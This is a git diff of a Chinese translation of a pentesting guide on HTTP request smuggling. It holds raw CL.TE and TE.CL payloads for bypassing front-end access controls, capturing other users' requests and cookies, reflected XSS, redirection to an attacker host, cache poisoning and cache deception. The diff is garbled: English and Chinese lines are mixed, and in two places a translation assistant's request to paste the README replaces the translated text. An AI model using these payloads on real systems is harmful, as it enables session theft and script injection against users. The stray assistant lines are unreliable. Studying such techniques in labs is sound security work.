- **一致的 URL 和参数:** 尽量对两个请求使用相同的 URL 和参数名。 现代应用通常根据 URL 和参数将请求路由到特定后端服务器。 匹配这些可以增加两个请求由同一服务器处理的可能性,这是成功攻击的前提。
|
||||
- **时机和竞赛条件:** 用于检测“攻击”请求干扰的“正常”请求会与其他并发应用请求竞争。 因此,应在“攻击”请求之后立即发送“正常”请求。 忙碌的应用可能需要多次尝试才能得出结论。
|
||||
- **负载均衡挑战:** 作为负载均衡器的前端服务器可能会将请求分发到不同的后端系统。 如果“攻击”和“正常”请求落在不同的系统上,攻击不会成功。 这一负载均衡因素可能需要多次尝试来确认漏洞。
|
||||
- **意外的用户影响:** 如果你的攻击无意中影响了另一个用户的请求(而不是你发送的用于检测的“正常”请求),这表明你的攻击影响到了其他应用用户。 持续测试可能会中断其他用户,因此必须谨慎。
|
||||
|
||||
## 区分 HTTP/1.1 管道化伪影与真正的请求走私
|
||||
## Distinguishing HTTP/1.1 pipelining artifacts vs genuine request smuggling
|
||||
|
||||
连接重用(保持活动)和管道化可以轻易在发送多个请求的测试工具中产生“走私”的错觉。学会将无害的客户端伪影与真实的服务器端不同步分开。
|
||||
Connection reuse (keep-alive) and pipelining can easily produce illusions of "smuggling" in testing tools that send multiple requests on the same socket. Learn to separate harmless client-side artifacts from real server-side desync.
|
||||
|
||||
### 为什么管道化会产生经典的假阳性
|
||||
### Why pipelining creates classic false positives
|
||||
|
||||
HTTP/1.1 重用单个 TCP/TLS 连接,并在同一流上连接请求和响应。在管道化中,客户端连续发送多个请求,并依赖于按顺序的响应。一个常见的假阳性是将格式错误的 CL.0 风格有效负载在单个连接上发送两次:
|
||||
HTTP/1.1 reuses a single TCP/TLS connection and concatenates requests and responses on the same stream. In pipelining, the client sends multiple requests back-to-back and relies on in-order responses. A common false-positive is to resend a malformed CL.0-style payload twice on a single connection:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: hackxor.net
|
||||
@ -292,7 +294,7 @@ Content_Length: 47
|
||||
GET /robots.txt HTTP/1.1
|
||||
X: Y
|
||||
```
|
||||
响应可能看起来像:
|
||||
我没有收到 src/pentesting-web/http-request-smuggling/README.md 的内容。请将该文件的完整 Markdown 文本粘贴到这里,我会按你给出的规则把其中的英文相关文字翻译成中文,并严格保留所有 Markdown/HTML 标记、代码、链接、路径与不翻译的专有名词。
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
@ -306,7 +308,7 @@ Content-Type: text/plain
|
||||
User-agent: *
|
||||
Disallow: /settings
|
||||
```
|
||||
如果服务器忽略了格式错误的 `Content_Length`,则没有 FE↔BE 的不同步。在重用中,您的客户端实际上发送了这个字节流,服务器将其解析为两个独立的请求:
|
||||
如果服务器忽略了畸形的 `Content_Length`,则不存在 FE↔BE desync。在重用的情况下,您的客户端实际上发送了以下字节流,服务器将其解析为两个独立的请求:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: hackxor.net
|
||||
@ -320,78 +322,78 @@ Content_Length: 47
|
||||
GET /robots.txt HTTP/1.1
|
||||
X: Y
|
||||
```
|
||||
影响:无。您只是使客户端与服务器框架不同步。
|
||||
影响:无。你只是让客户端与服务器的帧不同步。
|
||||
|
||||
> [!TIP]
|
||||
> 依赖于重用/流水线的 Burp 模块:Turbo Intruder 使用 `requestsPerConnection>1`,Intruder 使用 "HTTP/1 连接重用",Repeater "按顺序发送组(单个连接)" 或 "启用连接重用"。
|
||||
> 依赖重用/管道化的 Burp 模块:Turbo Intruder with `requestsPerConnection>1`、Intruder with "HTTP/1 connection reuse"、Repeater "Send group in sequence (single connection)" 或 "Enable connection reuse"。
|
||||
|
||||
### Litmus 测试:流水线还是实际不同步?
|
||||
### 判别测试:pipelining 还是真实的 desync?
|
||||
|
||||
1. 禁用重用并重新测试
|
||||
- 在 Burp Intruder/Repeater 中,关闭 HTTP/1 重用并避免 "按顺序发送组"。
|
||||
- 在 Turbo Intruder 中,设置 `requestsPerConnection=1` 和 `pipeline=False`。
|
||||
- 如果行为消失,可能是客户端流水线,除非您正在处理连接锁定/有状态目标或客户端不同步。
|
||||
2. HTTP/2 嵌套响应检查
|
||||
- 发送一个 HTTP/2 请求。如果响应体包含完整的嵌套 HTTP/1 响应,您已证明后端解析/不同步错误,而不是纯客户端伪影。
|
||||
3. 针对连接锁定前端的部分请求探测
|
||||
- 一些前端仅在客户端重用其连接时才重用上游后端连接。使用部分请求检测与客户端重用相似的前端行为。
|
||||
- 请参见 PortSwigger "Browser‑Powered Desync Attacks" 以获取连接锁定技术。
|
||||
4. 状态探测
|
||||
- 查找同一 TCP 连接上的首次请求与后续请求的差异(首次请求路由/验证)。
|
||||
- Burp "HTTP Request Smuggler" 包含一个连接状态探测器,可以自动化此操作。
|
||||
5. 可视化网络
|
||||
- 使用 Burp "HTTP Hacker" 扩展直接检查连接和消息框架,同时实验重用和部分请求。
|
||||
1. Disable reuse and re-test
|
||||
- In Burp Intruder/Repeater, turn off HTTP/1 reuse and avoid "Send group in sequence".
|
||||
- In Turbo Intruder, set `requestsPerConnection=1` and `pipeline=False`.
|
||||
- If the behavior disappears, it was likely client-side pipelining, unless you’re dealing with connection-locked/stateful targets or client-side desync.
|
||||
2. HTTP/2 nested-response check
|
||||
- 发送一个 HTTP/2 请求。如果响应体包含一个完整的嵌套 HTTP/1 响应,那么你已经证明这是后端解析/ desync 漏洞,而不是纯粹的客户端伪像。
|
||||
3. Partial-requests probe for connection-locked front-ends
|
||||
- 一些 FEs 只有在客户端重用连接时才会重用上游 BE 连接。使用 partial-requests 来检测 FE 是否镜像客户端的重用行为。
|
||||
- 参见 PortSwigger "Browser‑Powered Desync Attacks" 关于 connection-locked 技术的说明。
|
||||
4. State probes
|
||||
- 在同一 TCP 连接上查找首次请求与后续请求的差异(首次请求的路由/验证差异)。
|
||||
- Burp "HTTP Request Smuggler" 包含一个 connection‑state 探测,可自动化此项检查。
|
||||
5. Visualize the wire
|
||||
- 使用 Burp "HTTP Hacker" 扩展在实验重用和 partial requests 时直接检查拼接和消息定界(concatenation 和 message framing)。
|
||||
|
||||
### 连接锁定请求走私(需要重用)
|
||||
### Connection‑locked request smuggling (reuse-required)
|
||||
|
||||
一些前端仅在客户端重用其连接时才重用上游连接。真实的走私存在,但取决于客户端重用。要区分并证明影响:
|
||||
- 证明服务器端错误
|
||||
- 使用 HTTP/2 嵌套响应检查,或
|
||||
- 使用部分请求显示前端仅在客户端重用时重用上游。
|
||||
- 即使直接跨用户套接字滥用被阻止,也要显示真实影响:
|
||||
- 缓存中毒:通过不同步毒化共享缓存,使响应影响其他用户。
|
||||
- 内部头部泄露:反射前端注入的头部(例如,auth/trust 头部)并转向认证绕过。
|
||||
- 绕过前端控制:走私受限路径/方法通过前端。
|
||||
- 主机头滥用:结合主机路由怪癖转向内部虚拟主机。
|
||||
- 操作员工作流
|
||||
- 使用受控重用重现(Turbo Intruder `requestsPerConnection=2`,或 Burp Repeater 标签组 → "按顺序发送组(单个连接)")。
|
||||
- 然后链接到缓存/头部泄露/控制绕过原语,并演示跨用户或授权影响。
|
||||
一些前端只有在客户端重用连接时才会重用上游连接。真实的 smuggling 存在,但依赖于客户端侧的重用。要区分并证明影响:
|
||||
- Prove the server-side bug
|
||||
- Use the HTTP/2 nested-response check, or
|
||||
- Use partial-requests to show the FE only reuses upstream when the client does.
|
||||
- Show real impact even if direct cross-user socket abuse is blocked:
|
||||
- Cache poisoning: 通过 desync 污染共享缓存,使响应影响其他用户。
|
||||
- Internal header disclosure: 反射 FE 注入的 headers(例如 auth/trust headers),并以此切换到权限绕过。
|
||||
- Bypass FE controls: 通过 smuggle 将受限路径/方法绕过前端。
|
||||
- Host-header abuse: 结合 host 路由的怪异行为转向内部 vhosts。
|
||||
- Operator workflow
|
||||
- Reproduce with controlled reuse (Turbo Intruder `requestsPerConnection=2`, or Burp Repeater tab group → "Send group in sequence (single connection)").
|
||||
- Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.
|
||||
|
||||
> 另请参见连接状态攻击,这与走私密切相关,但在技术上不是走私:
|
||||
> See also connection‑state attacks, which are closely related but not technically smuggling:
|
||||
>
|
||||
>{{#ref}}
|
||||
>../http-connection-request-smuggling.md
|
||||
>{{#endref}}
|
||||
|
||||
### 客户端不同步约束
|
||||
### Client‑side desync constraints
|
||||
|
||||
如果您针对浏览器驱动/客户端不同步,则恶意请求必须可以通过浏览器跨源发送。头部混淆技巧无效。专注于可通过导航/获取到达的原语,然后转向缓存中毒、头部泄露或前端控制绕过,其中下游组件反射或缓存响应。
|
||||
如果你针对 browser-powered/client-side desync,恶意请求必须可由浏览器以跨域方式发送。Header obfuscation 的技巧无效。专注于可通过 navigation/fetch 触达的原语,然后转向 cache poisoning、header disclosure 或前端控制绕过,在下游组件反射或缓存响应时利用它们。
|
||||
|
||||
有关背景和端到端工作流:
|
||||
有关背景和端到端工作流程:
|
||||
|
||||
{{#ref}}
|
||||
browser-http-request-smuggling.md
|
||||
{{#endref}}
|
||||
|
||||
### 帮助决策的工具
|
||||
### Tooling to help decide
|
||||
|
||||
- HTTP Hacker (Burp BApp Store):暴露低级 HTTP 行为和套接字连接。
|
||||
- "走私还是流水线?" Burp Repeater 自定义操作: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
|
||||
- Turbo Intruder:通过 `requestsPerConnection` 精确控制连接重用。
|
||||
- Burp HTTP Request Smuggler:包括一个连接状态探测器,以发现首次请求路由/验证。
|
||||
- HTTP Hacker (Burp BApp Store):在低层面暴露 HTTP 行为和 socket 拼接。
|
||||
- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
|
||||
- Turbo Intruder:通过 `requestsPerConnection` 对连接重用进行精确控制。
|
||||
- Burp HTTP Request Smuggler:包含一个 connection‑state 探测,用于发现首次请求的路由/验证差异。
|
||||
|
||||
> [!NOTE]
|
||||
> 除非您能证明服务器端不同步并附加具体影响(中毒缓存伪影、泄露内部头部以启用特权绕过、绕过前端控制等),否则将仅重用效果视为非问题。
|
||||
> 将仅在重用时出现的效果视为非问题,除非你能证明存在 server-side desync 并附上具体影响(被污染的缓存产物、泄露的内部 header 导致权限绕过、被绕过的 FE 控制等)。
|
||||
|
||||
## 滥用 HTTP 请求走私
|
||||
## Abusing HTTP Request Smuggling
|
||||
|
||||
### 通过 HTTP 请求走私绕过前端安全
|
||||
### Circumventing Front-End Security via HTTP Request Smuggling
|
||||
|
||||
有时,前端代理会实施安全措施,审查传入请求。然而,这些措施可以通过利用 HTTP 请求走私来规避,从而允许未经授权访问受限端点。例如,访问 `/admin` 可能在外部被禁止,前端代理积极阻止此类尝试。然而,该代理可能未能检查走私 HTTP 请求中的嵌入请求,从而留下绕过这些限制的漏洞。
|
||||
有时,前端代理会强制执行安全措施,仔细检查进入的请求。然而,可以通过利用 HTTP Request Smuggling 绕过这些措施,从而未授权访问受限端点。例如,外部可能禁止访问 `/admin`,前端代理会主动阻止此类尝试。但该代理可能不会检查被 smuggle 的 HTTP 请求内的嵌入请求,从而留下绕过这些限制的漏洞。
|
||||
|
||||
考虑以下示例,说明如何使用 HTTP 请求走私绕过前端安全控制,特别针对通常由前端代理保护的 `/admin` 路径:
|
||||
考虑以下示例,说明如何使用 HTTP Request Smuggling 绕过前端安全控制,特别是针对通常由前端代理保护的 `/admin` 路径:
|
||||
|
||||
**CL.TE 示例**
|
||||
**CL.TE Example**
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: [redacted].web-security-academy.net
|
||||
@ -408,9 +410,9 @@ Content-Length: 10
|
||||
|
||||
x=
|
||||
```
|
||||
在CL.TE攻击中,`Content-Length`头用于初始请求,而后续嵌入请求则利用`Transfer-Encoding: chunked`头。前端代理处理初始`POST`请求,但未能检查嵌入的`GET /admin`请求,从而允许未经授权访问`/admin`路径。
|
||||
在 CL.TE 攻击中,初始请求利用 `Content-Length` 头,而后续嵌入的请求使用 `Transfer-Encoding: chunked` 头。前端代理处理初始的 `POST` 请求,但未能检查嵌入的 `GET /admin` 请求,从而允许对 `/admin` 路径的未授权访问。
|
||||
|
||||
**TE.CL 示例**
|
||||
**TE.CL Example**
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: [redacted].web-security-academy.net
|
||||
@ -426,13 +428,13 @@ a=x
|
||||
0
|
||||
|
||||
```
|
||||
相反,在TE.CL攻击中,初始的`POST`请求使用`Transfer-Encoding: chunked`,而后续嵌入的请求则基于`Content-Length`头进行处理。与CL.TE攻击类似,前端代理忽视了被隐藏的`GET /admin`请求,意外地授予了对受限`/admin`路径的访问。
|
||||
Conversely, in the TE.CL attack, the initial `POST` request uses `Transfer-Encoding: chunked`, and the subsequent embedded request is processed based on the `Content-Length` header. Similar to the CL.TE attack, the front-end proxy overlooks the smuggled `GET /admin` request, inadvertently granting access to the restricted `/admin` path.
|
||||
|
||||
### 揭示前端请求重写 <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
### Revealing front-end request rewriting <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
应用程序通常使用**前端服务器**来修改传入请求,然后将其传递给后端服务器。典型的修改涉及添加头部,例如`X-Forwarded-For: <IP of the client>`,以将客户端的IP转发给后端。理解这些修改可能至关重要,因为它可能揭示**绕过保护**或**发现隐藏的信息或端点**的方法。
|
||||
应用通常会使用一个 **front-end server** 在将请求传给后端服务器之前修改传入的请求。常见的修改包括添加头,例如 `X-Forwarded-For: <IP of the client>`,以将客户端的 IP 通知后端。了解这些修改非常重要,因为它可能揭示绕过防护或发现隐藏信息或端点的方法。
|
||||
|
||||
要调查代理如何更改请求,找到一个后端在响应中回显的POST参数。然后,构造一个请求,使用这个参数作为最后一个,类似于以下内容:
|
||||
要调查代理如何修改请求,找一个后端会在响应中回显的 POST 参数。然后构造一个请求,将该参数放在最后,类似下面:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
@ -449,19 +451,19 @@ Content-Length: 100
|
||||
|
||||
search=
|
||||
```
|
||||
在这个结构中,后续请求组件被附加在 `search=` 之后,这是在响应中反映的参数。这个反射将暴露后续请求的头部。
|
||||
在这种结构中,后续的请求组件会被追加到 `search=` 之后,`search=` 是在响应中被反射的参数。该反射会暴露后续请求的 headers。
|
||||
|
||||
重要的是要使嵌套请求的 `Content-Length` 头与实际内容长度对齐。建议从一个小值开始并逐渐增加,因为过低的值会截断反射的数据,而过高的值可能会导致请求出错。
|
||||
必须将嵌套请求的 `Content-Length` header 与实际内容长度对齐。建议从较小的值开始逐步增加,因为值太小会截断被反射的数据,而值太大可能导致请求出错。
|
||||
|
||||
这种技术在 TE.CL 漏洞的上下文中也适用,但请求应以 `search=\r\n0` 结束。无论换行符如何,值将附加到搜索参数中。
|
||||
该技术在 TE.CL 漏洞的场景下同样适用,但请求应以 `search=\r\n0` 结尾。无论换行字符为何,值都会被附加到 search 参数上。
|
||||
|
||||
此方法主要用于理解前端代理所做的请求修改,基本上进行自我导向的调查。
|
||||
该方法主要用于了解前端代理对请求所做的修改,本质上是对自身请求的调查。
|
||||
|
||||
### 捕获其他用户的请求 <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
|
||||
通过在 POST 操作期间将特定请求附加为参数的值,可以捕获下一个用户的请求。以下是如何实现这一点的:
|
||||
可以通过在 POST 操作期间将特定请求作为参数的值追加来捕获下一个用户的请求。下面说明如何实现:
|
||||
|
||||
通过将以下请求附加为参数的值,可以存储后续客户端的请求:
|
||||
通过将下面的请求作为参数值追加,你可以保存随后的客户端请求:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
|
||||
@ -481,20 +483,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
|
||||
|
||||
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
|
||||
```
|
||||
在这种情况下,**comment parameter** 旨在存储在公开可访问页面的帖子评论部分中的内容。因此,后续请求的内容将作为评论出现。
|
||||
在这个场景中,**comment parameter** 用于将内容存储在公开可访问页面的帖子评论区中。因此,后续请求的内容将被显示为一条评论。
|
||||
|
||||
然而,这种技术有其局限性。通常,它仅捕获 smuggled request 中使用的参数分隔符之前的数据。对于 URL 编码的表单提交,这个分隔符是 `&` 字符。这意味着从受害者用户请求中捕获的内容将在第一个 `&` 处停止,这可能甚至是查询字符串的一部分。
|
||||
然而,这种技术有局限性。通常,它只会捕获到走私请求中使用的参数分隔符为止。对于 URL-encoded 表单提交,这个分隔符是 `&` 字符。这意味着从受害用户请求中捕获的内容会在第一个 `&` 处停止,该 `&` 甚至可能属于查询字符串的一部分。
|
||||
|
||||
此外,值得注意的是,这种方法在 TE.CL 漏洞中也是可行的。在这种情况下,请求应以 `search=\r\n0` 结束。无论换行符如何,值将被附加到搜索参数。
|
||||
此外,值得注意的是,这种方法在存在 TE.CL 漏洞时也可行。在这种情况下,请求应该以 `search=\r\n0` 结尾。无论换行字符如何,值都会被附加到 search 参数上。
|
||||
|
||||
### 使用 HTTP 请求走私来利用反射型 XSS
|
||||
### 使用 HTTP request smuggling 来利用 reflected XSS
|
||||
|
||||
HTTP Request Smuggling 可以被用来利用易受 **反射型 XSS** 攻击的网页,提供显著的优势:
|
||||
HTTP Request Smuggling 可被用来攻击易受 **Reflected XSS** 影响的网页,具有显著优势:
|
||||
|
||||
- **不需要** 与目标用户互动。
|
||||
- 允许在 **通常无法达到** 的请求部分利用 XSS,例如 HTTP 请求头。
|
||||
- 与目标用户的交互 **不是必需的**。
|
||||
- 允许在通常不可达的请求部分利用 XSS,例如 HTTP request headers。
|
||||
|
||||
在网站通过 User-Agent 头部易受反射型 XSS 攻击的情况下,以下有效载荷演示了如何利用此漏洞:
|
||||
在通过 User-Agent header 导致 Reflected XSS 的场景中,下面的 payload 演示了如何利用该漏洞:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
||||
@ -515,26 +517,26 @@ Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
A=
|
||||
```
|
||||
这个有效载荷的结构旨在利用漏洞,通过以下方式:
|
||||
This payload is structured to exploit the vulnerability by:
|
||||
|
||||
1. 发起一个看似典型的 `POST` 请求,带有 `Transfer-Encoding: chunked` 头以指示走私的开始。
|
||||
2. 随后跟随一个 `0`,标记块消息体的结束。
|
||||
3. 然后,引入一个走私的 `GET` 请求,其中 `User-Agent` 头被注入一个脚本,`<script>alert(1)</script>`,当服务器处理这个后续请求时触发 XSS。
|
||||
1. Initiating a `POST` request, seemingly typical, with a `Transfer-Encoding: chunked` header to indicate the start of smuggling.
|
||||
2. Following with a `0`, marking the end of the chunked message body.
|
||||
3. Then, a smuggled `GET` request is introduced, where the `User-Agent` header is injected with a script, `<script>alert(1)</script>`, triggering the XSS when the server processes this subsequent request.
|
||||
|
||||
通过走私操控 `User-Agent`,该有效载荷绕过了正常请求约束,从而以非标准但有效的方式利用了反射型 XSS 漏洞。
|
||||
By manipulating the `User-Agent` through smuggling, the payload bypasses normal request constraints, thus exploiting the Reflected XSS vulnerability in a non-standard but effective manner.
|
||||
|
||||
#### HTTP/0.9
|
||||
|
||||
> [!CAUTION]
|
||||
> 如果用户内容在响应中以 **`Content-type`** 反射,例如 **`text/plain`**,将阻止 XSS 的执行。如果服务器支持 **HTTP/0.9,可能可以绕过这一点**!
|
||||
> 如果用户内容在响应中被反射,且响应的 **`Content-type`** 为 **`text/plain`** 等,会阻止 XSS 的执行。如果服务器支持 **HTTP/0.9**,可能可以绕过这一限制!
|
||||
|
||||
版本 HTTP/0.9 是在 1.0 之前,仅使用 **GET** 动词,并且 **不** 响应 **头部**,只有主体。
|
||||
The version HTTP/0.9 was previously to the 1.0 and only uses **GET** verbs and **doesn’t** respond with **headers**, just the body.
|
||||
|
||||
在 [**这篇文章**](https://mizu.re/post/twisty-python) 中,这被滥用通过请求走私和一个 **会回复用户输入的脆弱端点** 来走私一个 HTTP/0.9 请求。响应中反射的参数包含一个 **伪造的 HTTP/1.1 响应(带有头部和主体)**,因此响应将包含有效的可执行 JS 代码,`Content-Type` 为 `text/html`。
|
||||
In [**this writeup**](https://mizu.re/post/twisty-python), this was abused with a request smuggling and a **vulnerable endpoint 会将用户输入作为响应返回** to smuggle a request with HTTP/0.9. The parameter that will be reflected in the response contained a **fake HTTP/1.1 response (with headers and body)** so the response will contain valid executable JS code with a `Content-Type` of `text/html`.
|
||||
|
||||
### 利用 HTTP 请求走私进行站内重定向 <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
### 利用站内重定向进行 HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
应用程序通常通过使用重定向 URL 中的 `Host` 头的主机名从一个 URL 重定向到另一个 URL。这在像 Apache 和 IIS 这样的 Web 服务器中很常见。例如,请求一个没有尾部斜杠的文件夹会导致重定向以包含斜杠:
|
||||
Applications often redirect from one URL to another by using the hostname from the `Host` header in the redirect URL. This is common with web servers like Apache and IIS. For instance, requesting a folder without a trailing slash results in a redirect to include the slash:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: normal-website.com
|
||||
@ -544,7 +546,7 @@ Host: normal-website.com
|
||||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://normal-website.com/home/
|
||||
```
|
||||
尽管看似无害,但可以利用HTTP请求走私来操控此行为,将用户重定向到外部网站。例如:
|
||||
看似无害,但这种行为可以通过 HTTP request smuggling 被操纵,从而将用户重定向到外部站点。例如:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
@ -558,29 +560,29 @@ GET /home HTTP/1.1
|
||||
Host: attacker-website.com
|
||||
Foo: X
|
||||
```
|
||||
这个被走私的请求可能导致下一个处理的用户请求被重定向到攻击者控制的网站:
|
||||
该被走私的请求可能导致下一个被处理的用户请求重定向到攻击者控制的网站:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: attacker-website.com
|
||||
Foo: XGET /scripts/include.js HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
```
|
||||
结果为:
|
||||
导致:
|
||||
```
|
||||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://attacker-website.com/home/
|
||||
```
|
||||
在这种情况下,用户对 JavaScript 文件的请求被劫持。攻击者可以通过响应中提供恶意 JavaScript 来潜在地危害用户。
|
||||
在此场景中,用户对 JavaScript 文件的请求被劫持。攻击者可能通过返回恶意 JavaScript 来危害用户。
|
||||
|
||||
### 通过 HTTP 请求走私利用 Web 缓存中毒 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### 通过 HTTP Request Smuggling 利用 Web Cache Poisoning <a href="#exploiting-web-cache-poisoning-via-http-request-smearing" id="exploiting-web-cache-poisoning-via-http-request-smearing"></a>
|
||||
|
||||
如果 **前端基础设施的任何组件缓存内容**,通常是为了提高性能,则可以执行 Web 缓存中毒。通过操纵服务器的响应,可以 **毒化缓存**。
|
||||
Web cache poisoning 可以在任何组件的 **前端基础设施缓存内容**(通常为提高性能)时被执行。通过操纵服务器的响应,有可能 **poison the cache**。
|
||||
|
||||
之前,我们观察到如何改变服务器响应以返回 404 错误(参见 [Basic Examples](#basic-examples))。同样,可以欺骗服务器以响应对 `/static/include.js` 的请求而提供 `/index.html` 内容。因此,`/static/include.js` 的内容在缓存中被替换为 `/index.html` 的内容,使得 `/static/include.js` 对用户不可访问,可能导致服务拒绝(DoS)。
|
||||
之前我们演示了如何修改服务器响应以返回 404 错误(参见 [Basic Examples](#basic-examples))。类似地,可以欺骗服务器在请求 `/static/include.js` 时返回 `/index.html` 的内容。因此,缓存中 `/static/include.js` 的内容会被 `/index.html` 的内容替换,导致用户无法访问 `/static/include.js`,并可能引发 Denial of Service (DoS)。
|
||||
|
||||
如果发现 **开放重定向漏洞** 或者存在 **指向开放重定向的站内重定向**,这种技术变得特别强大。这些漏洞可以被利用来将 `/static/include.js` 的缓存内容替换为攻击者控制的脚本,从而实质上使所有请求更新的 `/static/include.js` 的客户端面临广泛的跨站脚本(XSS)攻击。
|
||||
如果发现 **Open Redirect vulnerability**,或存在指向 open redirect 的站内重定向,该技术会变得尤为强大。此类漏洞可被利用将缓存中的 `/static/include.js` 内容替换为攻击者控制的脚本,从而对所有请求已更新 `/static/include.js` 的客户端发起大规模的 Cross-Site Scripting (XSS) 攻击。
|
||||
|
||||
下面是利用 **缓存中毒结合站内重定向到开放重定向** 的示例。目标是更改 `/static/include.js` 的缓存内容,以提供由攻击者控制的 JavaScript 代码:
|
||||
下面示例展示了如何利用 **cache poisoning combined with an on-site redirect to open redirect**。目标是将 `/static/include.js` 的缓存内容更改为由攻击者控制的 JavaScript 代码:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable.net
|
||||
@ -598,20 +600,20 @@ Content-Length: 10
|
||||
|
||||
x=1
|
||||
```
|
||||
注意嵌入的请求目标是`/post/next?postId=3`。该请求将被重定向到`/post?postId=4`,利用**Host头部值**来确定域名。通过更改**Host头部**,攻击者可以将请求重定向到他们的域名(**站内重定向到开放重定向**)。
|
||||
注意嵌入的请求,目标为 `/post/next?postId=3`。该请求将被重定向到 `/post?postId=4`,并利用 **Host header value** 来确定域名。通过修改 **Host header**,攻击者可以将请求重定向到他们的域名(**on-site redirect to open redirect**)。
|
||||
|
||||
在成功的**socket中毒**后,应发起对`/static/include.js`的**GET请求**。该请求将受到先前**站内重定向到开放重定向**请求的污染,并获取由攻击者控制的脚本内容。
|
||||
在成功进行 **socket poisoning** 后,应发起针对 `/static/include.js` 的 **GET request**。该请求将被之前的 **on-site redirect to open redirect** 请求污染,并获取由攻击者控制的脚本内容。
|
||||
|
||||
随后,任何对`/static/include.js`的请求将提供攻击者脚本的缓存内容,有效地发起广泛的XSS攻击。
|
||||
随后,任何对 `/static/include.js` 的请求都将提供被缓存的攻击者脚本内容,从而有效地发动大范围的 XSS 攻击。
|
||||
|
||||
### 使用HTTP请求走私进行网络缓存欺骗 <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
### 使用 HTTP request smuggling 来执行 web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
|
||||
> **网络缓存中毒和网络缓存欺骗有什么区别?**
|
||||
> **web cache poisoning 和 web cache deception 之间有什么区别?**
|
||||
>
|
||||
> - 在**网络缓存中毒**中,攻击者使应用程序在缓存中存储一些恶意内容,并且这些内容从缓存中提供给其他应用程序用户。
|
||||
> - 在**网络缓存欺骗**中,攻击者使应用程序在缓存中存储属于另一个用户的一些敏感内容,然后攻击者从缓存中检索这些内容。
|
||||
> - 在 **web cache poisoning** 中,攻击者使应用将一些恶意内容存入缓存,该内容随后从缓存中提供给其他应用用户。
|
||||
> - 在 **web cache deception** 中,攻击者使应用将属于其他用户的某些敏感内容存入缓存,然后攻击者从缓存中检索这些内容。
|
||||
|
||||
攻击者构造一个走私请求,以获取敏感的用户特定内容。考虑以下示例:
|
||||
攻击者构造一个 smuggled request 来获取敏感的用户特定内容。考虑以下示例:
|
||||
```markdown
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
@ -622,17 +624,17 @@ x=1
|
||||
`GET /private/messages HTTP/1.1`\
|
||||
`Foo: X`
|
||||
```
|
||||
如果这个被走私的请求污染了用于静态内容的缓存条目(例如,`/someimage.png`),那么受害者在`/private/messages`中的敏感数据可能会被缓存到静态内容的缓存条目下。因此,攻击者可能会检索到这些缓存的敏感数据。
|
||||
如果这个被走私的请求污染了原本用于静态内容的缓存条目(例如 `/someimage.png`),受害者来自 `/private/messages` 的敏感数据可能会被缓存在该静态内容的缓存条目下。因此,攻击者可能能够检索到这些已缓存的敏感数据。
|
||||
|
||||
### 通过 HTTP 请求走私滥用 TRACE <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### 通过 HTTP Request Smuggling 滥用 TRACE <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
[**在这篇文章中**](https://portswigger.net/research/trace-desync-attack) 建议如果服务器启用了 TRACE 方法,可能会通过 HTTP 请求走私进行滥用。这是因为该方法会将发送到服务器的任何头部反射为响应体的一部分。例如:
|
||||
[**In this post**](https://portswigger.net/research/trace-desync-attack) 中建议,如果服务器启用了 TRACE 方法,可能可以通过 HTTP Request Smuggling 来滥用它。这是因为该方法会将发送到服务器的任何 header 反射到响应体中作为一部分。 例如:
|
||||
```
|
||||
TRACE / HTTP/1.1
|
||||
Host: example.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
```
|
||||
请发送您的请求。
|
||||
请把 src/pentesting-web/http-request-smuggling/README.md 的内容粘贴到这里,我会按你给的规则将英文译成中文并保持原有的 Markdown/HTML 语法、路径和标签不变。
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: message/http
|
||||
@ -643,15 +645,15 @@ Host: vulnerable.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
